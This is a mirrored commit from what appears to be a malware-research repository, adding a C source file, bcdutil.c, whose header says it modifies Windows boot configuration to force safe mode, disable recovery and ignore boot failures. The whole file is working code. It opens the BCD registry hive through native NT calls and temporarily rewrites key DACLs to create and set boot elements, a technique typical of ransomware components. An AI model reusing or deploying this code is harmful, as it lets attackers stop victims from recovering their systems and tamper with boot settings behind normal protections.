mirror of
https://github.com/vxunderground/VXUG-Papers.git
synced 2026-06-17 00:09:29 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,497 @@
|
||||
/**
|
||||
* @file bcdutil.c
|
||||
* @author Paul L. (@am0nsec)
|
||||
* @version 1.0
|
||||
* @brief Modify boot configuration to enable safe mode, disable recovery and ignore all failure.
|
||||
* @details
|
||||
* @link https://github.com/am0nsec/vx
|
||||
* @copyright This project has been released under the GNU Public License v3 license.
|
||||
*/
|
||||
#include "bcdutil.h"
|
||||
#include <Ole2.h>
|
||||
#include <aclapi.h>
|
||||
|
||||
_Use_decl_annotations_ NTSTATUS
|
||||
BcdGetDefaultBootObject(
|
||||
_Out_ PHKEY phWindowsBootMgrDefaultObj
|
||||
) {
|
||||
// 1. Open handle to HKLM
|
||||
HKEY hLocalMachine = INVALID_HANDLE_VALUE;
|
||||
EXIT_ON_ERROR(BcdOpenKeyByName(
|
||||
L"\\Registry\\Machine",
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_SET_VALUE | KEY_CREATE_SUB_KEY),
|
||||
NULL,
|
||||
&hLocalMachine
|
||||
));
|
||||
|
||||
// 2. Find the BCD sub key
|
||||
HKEY hBCD = INVALID_HANDLE_VALUE;
|
||||
LPWSTR wszBcdSubKeyFragment = NULL;
|
||||
DWORD dwzBcdSubKeyFragment = 0x00;
|
||||
EXIT_ON_ERROR(BcdpGetSubKeyByPattern(
|
||||
&hLocalMachine,
|
||||
L"BCD",
|
||||
(CONST DWORD)0x03,
|
||||
&wszBcdSubKeyFragment,
|
||||
&dwzBcdSubKeyFragment
|
||||
));
|
||||
|
||||
// 3. Open handle to the new BCD sub key
|
||||
EXIT_ON_ERROR(BcdOpenKeyByName(
|
||||
wszBcdSubKeyFragment,
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
|
||||
&hLocalMachine,
|
||||
&hBCD
|
||||
));
|
||||
HeapFree(GetProcessHeap(), 0x00, wszBcdSubKeyFragment);
|
||||
|
||||
// 4. Open handle to the new Objects sub key
|
||||
HKEY hBCDObjects = INVALID_HANDLE_VALUE;
|
||||
EXIT_ON_ERROR(BcdOpenKeyByName(
|
||||
L"Objects",
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
|
||||
&hBCD,
|
||||
&hBCDObjects
|
||||
));
|
||||
|
||||
// 5. Open handle to the Windows boot manager
|
||||
HKEY hWindowsBootMgr = INVALID_HANDLE_VALUE;
|
||||
EXIT_ON_ERROR(BcdOpenKeyByName(
|
||||
GUID_WINDOWS_BOOTMGR,
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
|
||||
&hBCDObjects,
|
||||
&hWindowsBootMgr
|
||||
));
|
||||
|
||||
// 6. Open handle tot the Elements of the Windows boot manager
|
||||
HKEY hWindowsBootMgrElements = INVALID_HANDLE_VALUE;
|
||||
EXIT_ON_ERROR(BcdOpenKeyByName(
|
||||
BCD_ELEMENTS,
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
|
||||
&hWindowsBootMgr,
|
||||
&hWindowsBootMgrElements
|
||||
));
|
||||
|
||||
// 7. Open an handle to the default object and get the value.
|
||||
HKEY hWindowsBootMgrDefaultObj = INVALID_HANDLE_VALUE;
|
||||
EXIT_ON_ERROR(BcdOpenKeyByName(
|
||||
BCDE_BOOTMGR_TYPE_DEFAULT_OBJECT,
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
|
||||
&hWindowsBootMgrElements,
|
||||
&hWindowsBootMgrDefaultObj
|
||||
));
|
||||
|
||||
// 8. Open an handle to the default boot object
|
||||
LPWSTR wszWindowsBootMgrDefaultObj = NULL;
|
||||
DWORD dwWindowsBootMgrDefaultObj = 0x00;
|
||||
EXIT_ON_ERROR(BcdpQueryValueByName(
|
||||
L"Element",
|
||||
&hWindowsBootMgrDefaultObj,
|
||||
REG_SZ,
|
||||
&wszWindowsBootMgrDefaultObj,
|
||||
&dwWindowsBootMgrDefaultObj
|
||||
));
|
||||
|
||||
// 9. Get the GUID of the default object
|
||||
EXIT_ON_ERROR(BcdOpenKeyByName(
|
||||
wszWindowsBootMgrDefaultObj,
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
|
||||
&hBCDObjects,
|
||||
phWindowsBootMgrDefaultObj
|
||||
));
|
||||
HeapFree(GetProcessHeap(), 0x00, wszWindowsBootMgrDefaultObj);
|
||||
|
||||
// Cleanup and return
|
||||
NtClose(hLocalMachine);
|
||||
NtClose(hBCD);
|
||||
NtClose(hBCDObjects);
|
||||
NtClose(hWindowsBootMgr);
|
||||
NtClose(hWindowsBootMgrElements);
|
||||
NtClose(hWindowsBootMgrDefaultObj);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
_Use_decl_annotations_ NTSTATUS
|
||||
BcdModifyBootConfiguration(
|
||||
_In_ CONST PHKEY phKey,
|
||||
_In_ CONST LPWSTR wszKey,
|
||||
_In_ LPVOID pData,
|
||||
_In_ ULONG ulData
|
||||
) {
|
||||
if (phKey == NULL || wszKey == NULL || pData == NULL || ulData == 0x00)
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
|
||||
// 1. Check if key already exist otherwise create a new one
|
||||
HKEY hObject = INVALID_HANDLE_VALUE;
|
||||
NTSTATUS Status = BcdOpenKeyByName(
|
||||
wszKey,
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
|
||||
phKey,
|
||||
&hObject
|
||||
);
|
||||
if (Status == STATUS_OBJECT_NAME_NOT_FOUND) {
|
||||
// 1.1. Change the DACL to have write permissions
|
||||
RETURN_ON_ERROR(BcdpChangeObjectPermission(
|
||||
phKey,
|
||||
(KEY_CREATE_SUB_KEY | KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL)
|
||||
));
|
||||
|
||||
// 1.2. Create the key
|
||||
RETURN_ON_ERROR(BcdpCreateKey(
|
||||
wszKey,
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_SET_VALUE),
|
||||
phKey,
|
||||
&hObject
|
||||
));
|
||||
|
||||
// 1.3. Revert the permissions
|
||||
RETURN_ON_ERROR(BcdpChangeObjectPermission(
|
||||
phKey,
|
||||
(KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL)
|
||||
));
|
||||
}
|
||||
|
||||
// 2. Allow set Windows registry value to the newly created key and open new key
|
||||
RETURN_ON_ERROR(BcdpChangeObjectPermission(
|
||||
&hObject,
|
||||
KEY_SET_VALUE | KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL
|
||||
));
|
||||
|
||||
NtClose(hObject);
|
||||
RETURN_ON_ERROR(BcdOpenKeyByName(
|
||||
wszKey,
|
||||
(KEY_SET_VALUE | READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
|
||||
phKey,
|
||||
&hObject
|
||||
));
|
||||
|
||||
// 3. Set the value and change the DACLs to original value
|
||||
RETURN_ON_ERROR(BcdpSetValue(
|
||||
BCD_ELEMENT,
|
||||
&hObject,
|
||||
pData,
|
||||
ulData
|
||||
));
|
||||
RETURN_ON_ERROR(BcdpChangeObjectPermission(
|
||||
&hObject,
|
||||
KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL
|
||||
));
|
||||
|
||||
// Cleanup and return
|
||||
NtClose(hObject);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
_Use_decl_annotations_ NTSTATUS
|
||||
BcdAcquireSyncMutant(
|
||||
_Out_ PHANDLE phHandle
|
||||
) {
|
||||
if (phHandle == NULL)
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
|
||||
UNICODE_STRING MutantName = { 0x00 };
|
||||
RtlInitUnicodeString(&MutantName, L"\\KernelObjects\\BcdSyncMutant");
|
||||
|
||||
OBJECT_ATTRIBUTES MutantAttributes = { 0x00 };
|
||||
InitializeObjectAttributes(
|
||||
&MutantAttributes,
|
||||
&MutantName,
|
||||
OBJ_CASE_INSENSITIVE,
|
||||
0x00,
|
||||
0x00
|
||||
);
|
||||
|
||||
return NtOpenMutant(phHandle, 0x100000, &MutantAttributes, FALSE);
|
||||
}
|
||||
|
||||
|
||||
_Use_decl_annotations_ NTSTATUS
|
||||
BcdpGetSubKeyByPattern(
|
||||
_In_ CONST PHKEY phKey,
|
||||
_In_ CONST LPWSTR wszPattern,
|
||||
_In_ CONST DWORD dwPatternLength,
|
||||
_Out_ LPWSTR* wszSubKeyName,
|
||||
_Out_ PDWORD pdwSubKeyNameLength
|
||||
) {
|
||||
if (phKey == NULL
|
||||
|| wszPattern == NULL
|
||||
|| pdwSubKeyNameLength == NULL)
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
NTSTATUS Status = STATUS_UNSUCCESSFUL;
|
||||
|
||||
// Initialise variables and heap memory
|
||||
DWORD dwIndex = 0x00;
|
||||
ULONG ulBuffer = 0x100;
|
||||
PKEY_BASIC_INFORMATION BasicInformation = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulBuffer);
|
||||
|
||||
// Parse each entry one by one
|
||||
while (TRUE) {
|
||||
ULONG ulReturned = 0x00;
|
||||
Status = NtEnumerateKey(
|
||||
*phKey,
|
||||
dwIndex,
|
||||
KeyBasicInformation,
|
||||
(LPVOID)BasicInformation,
|
||||
ulBuffer,
|
||||
&ulReturned
|
||||
);
|
||||
|
||||
// Key not found
|
||||
if (Status == STATUS_NO_MORE_ENTRIES) {
|
||||
Status = STATUS_UNSUCCESSFUL;
|
||||
break;
|
||||
}
|
||||
// Buffer not large enough to get the basic information
|
||||
else if (Status == STATUS_BUFFER_TOO_SMALL) {
|
||||
HeapReAlloc(GetProcessHeap(), 0x00, (LPVOID)BasicInformation, ulReturned);
|
||||
ulBuffer = ulReturned;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Checking if it is pattern
|
||||
if (_wcsnicmp(BasicInformation->Name, wszPattern, (SIZE_T)dwPatternLength) == 0x00) {
|
||||
*pdwSubKeyNameLength = BasicInformation->NameLength;
|
||||
*wszSubKeyName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BasicInformation->NameLength);
|
||||
|
||||
memcpy_s(
|
||||
*wszSubKeyName,
|
||||
BasicInformation->NameLength,
|
||||
BasicInformation->Name,
|
||||
BasicInformation->NameLength
|
||||
);
|
||||
Status = STATUS_SUCCESS;
|
||||
break;
|
||||
}
|
||||
|
||||
// Try next entry
|
||||
RtlZeroMemory(BasicInformation, ulReturned);
|
||||
dwIndex++;
|
||||
}
|
||||
|
||||
// Cleanup and exit
|
||||
HeapFree(GetProcessHeap(), 0x00, BasicInformation);
|
||||
return Status;
|
||||
}
|
||||
|
||||
|
||||
_Use_decl_annotations_ NTSTATUS
|
||||
BcdOpenKeyByName(
|
||||
_In_ CONST LPWSTR wszKeyName,
|
||||
_In_ ACCESS_MASK AccessMask,
|
||||
_In_ PHANDLE phDirectory,
|
||||
_Out_ PHKEY phKey
|
||||
) {
|
||||
if (wszKeyName == NULL)
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
NTSTATUS Status = STATUS_UNSUCCESSFUL;
|
||||
|
||||
// Initialise the UNCIODE_STRING
|
||||
UNICODE_STRING ObjectName = { 0x00 };
|
||||
RtlInitUnicodeString(&ObjectName, wszKeyName);
|
||||
|
||||
// Initialise the OBJECT_ATTRIBUTES
|
||||
OBJECT_ATTRIBUTES ObjectAttributes = { 0x00 };
|
||||
InitializeObjectAttributes(
|
||||
&ObjectAttributes,
|
||||
&ObjectName,
|
||||
OBJ_CASE_INSENSITIVE,
|
||||
0x00,
|
||||
0x00
|
||||
);
|
||||
if (phDirectory != NULL)
|
||||
ObjectAttributes.RootDirectory = *phDirectory;
|
||||
|
||||
// Try to open the key
|
||||
*phKey = INVALID_HANDLE_VALUE;
|
||||
Status = NtOpenKey(
|
||||
phKey,
|
||||
AccessMask,
|
||||
&ObjectAttributes
|
||||
);
|
||||
|
||||
return Status;
|
||||
}
|
||||
|
||||
|
||||
_Use_decl_annotations_ NTSTATUS
|
||||
BcdpQueryValueByName(
|
||||
_In_ CONST LPWSTR wszValueName,
|
||||
_In_ PHKEY phKey,
|
||||
_In_ DWORD dwType,
|
||||
_Out_ LPVOID* ppData,
|
||||
_Out_ DWORD* pdwData
|
||||
) {
|
||||
if (wszValueName == NULL
|
||||
|| phKey == NULL
|
||||
|| ppData == NULL
|
||||
|| pdwData == NULL)
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
NTSTATUS Status = STATUS_UNSUCCESSFUL;
|
||||
|
||||
// Initialise the UNCIODE_STRING
|
||||
UNICODE_STRING ObjectName = { 0x00 };
|
||||
RtlInitUnicodeString(&ObjectName, wszValueName);
|
||||
|
||||
// Get buffer ready
|
||||
ULONG ulReturned = 0x00;
|
||||
ULONG ulBuffer = 0x100;
|
||||
PKEY_VALUE_PARTIAL_INFORMATION Information = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulBuffer);
|
||||
|
||||
// Get the value
|
||||
do {
|
||||
Status = NtQueryValueKey(
|
||||
*phKey,
|
||||
&ObjectName,
|
||||
KeyValuePartialInformation,
|
||||
(LPVOID)Information,
|
||||
ulBuffer,
|
||||
&ulReturned
|
||||
);
|
||||
|
||||
if (NT_SUCCESS(Status))
|
||||
break;
|
||||
|
||||
ulBuffer += 0x100;
|
||||
Information = HeapReAlloc(GetProcessHeap(), 0x00, Information, ulBuffer);
|
||||
} while (Status == STATUS_BUFFER_TOO_SMALL);
|
||||
|
||||
// Check the data type
|
||||
if (Information->Type != dwType) {
|
||||
HeapFree(GetProcessHeap(), 0x00, Information);
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
// Allocate memory and copy data
|
||||
*ppData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Information->DataLength);
|
||||
memmove_s(*ppData, Information->DataLength, Information->Data, Information->DataLength);
|
||||
*pdwData = Information->DataLength;
|
||||
|
||||
// De-allocate memory and return
|
||||
HeapFree(GetProcessHeap(), 0x00, Information);
|
||||
return Status;
|
||||
}
|
||||
|
||||
|
||||
_Use_decl_annotations_
|
||||
NTSTATUS BcdpCreateKey(
|
||||
_In_ CONST LPWSTR wszKeyName,
|
||||
_In_ ACCESS_MASK DesiredAccess,
|
||||
_In_ PHANDLE phDirectory,
|
||||
_Out_ PHANDLE phKey
|
||||
) {
|
||||
if (wszKeyName == NULL || phKey == NULL)
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
NTSTATUS Status = STATUS_UNSUCCESSFUL;
|
||||
|
||||
// Initialise the UNCIODE_STRING
|
||||
UNICODE_STRING ObjectName = { 0x00 };
|
||||
RtlInitUnicodeString(&ObjectName, wszKeyName);
|
||||
|
||||
// Initialise the OBJECT_ATTRIBUTES
|
||||
OBJECT_ATTRIBUTES ObjectAttributes = { 0x00 };
|
||||
InitializeObjectAttributes(
|
||||
&ObjectAttributes,
|
||||
&ObjectName,
|
||||
OBJ_CASE_INSENSITIVE,
|
||||
0x00,
|
||||
0x00
|
||||
);
|
||||
if (phDirectory != NULL)
|
||||
ObjectAttributes.RootDirectory = *phDirectory;
|
||||
|
||||
// Create the key
|
||||
return NtCreateKey(
|
||||
phKey,
|
||||
DesiredAccess,
|
||||
&ObjectAttributes,
|
||||
0x00,
|
||||
NULL,
|
||||
REG_OPTION_NON_VOLATILE,
|
||||
NULL
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
_Use_decl_annotations_
|
||||
NTSTATUS BcdpSetValue(
|
||||
_In_ CONST LPWSTR wszValue,
|
||||
_In_ PHANDLE phKey,
|
||||
_In_ PVOID pData,
|
||||
_In_ ULONG ulData
|
||||
) {
|
||||
if (wszValue == NULL || phKey == NULL || pData == NULL || ulData == 0x00)
|
||||
return STATUS_INVALID_PARAMETER;
|
||||
NTSTATUS Status = STATUS_UNSUCCESSFUL;
|
||||
|
||||
// Initialise the UNCIODE_STRING
|
||||
UNICODE_STRING ObjectName = { 0x00 };
|
||||
RtlInitUnicodeString(&ObjectName, wszValue);
|
||||
|
||||
Status = NtSetValueKey(
|
||||
*phKey,
|
||||
&ObjectName,
|
||||
0x00,
|
||||
REG_BINARY,
|
||||
pData,
|
||||
ulData
|
||||
);
|
||||
return Status;
|
||||
}
|
||||
|
||||
|
||||
_Use_decl_annotations_
|
||||
NTSTATUS BcdpChangeObjectPermission(
|
||||
_In_ CONST PHANDLE phKey,
|
||||
_In_ DWORD dwPrivileges
|
||||
) {
|
||||
if (phKey == NULL)
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
NTSTATUS Status = STATUS_UNSUCCESSFUL;
|
||||
|
||||
// Get the SID of the local Administrators group
|
||||
PSID AdminSID = NULL;
|
||||
SID_IDENTIFIER_AUTHORITY SIDAuthNT = SECURITY_NT_AUTHORITY;
|
||||
if (!AllocateAndInitializeSid(
|
||||
&SIDAuthNT,
|
||||
0x02,
|
||||
SECURITY_BUILTIN_DOMAIN_RID,
|
||||
DOMAIN_ALIAS_RID_ADMINS,
|
||||
0, 0, 0, 0, 0, 0,
|
||||
&AdminSID
|
||||
)) {
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
// Get the current security descriptor of the Windows Registry key
|
||||
PACL pOldDACL = NULL;
|
||||
PACL pNewDACL = NULL;
|
||||
PSECURITY_DESCRIPTOR SecurityDescriptor = NULL;
|
||||
DWORD dwStatus = GetSecurityInfo(
|
||||
*phKey,
|
||||
SE_REGISTRY_KEY,
|
||||
DACL_SECURITY_INFORMATION,
|
||||
NULL,
|
||||
NULL,
|
||||
&pOldDACL,
|
||||
NULL,
|
||||
&SecurityDescriptor
|
||||
);
|
||||
if (dwStatus != ERROR_SUCCESS)
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
|
||||
EXPLICIT_ACCESS ea = { 0x00 };
|
||||
ea.grfAccessPermissions = dwPrivileges;
|
||||
ea.grfAccessMode = SET_ACCESS;
|
||||
ea.grfInheritance = NO_INHERITANCE;
|
||||
ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
|
||||
ea.Trustee.TrusteeType = TRUSTEE_IS_GROUP;
|
||||
ea.Trustee.ptstrName = (LPTSTR)AdminSID;
|
||||
|
||||
if (SetEntriesInAcl(1, &ea, pOldDACL, &pNewDACL) != ERROR_SUCCESS)
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
if (SetSecurityInfo(*phKey, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS)
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
Reference in New Issue
Block a user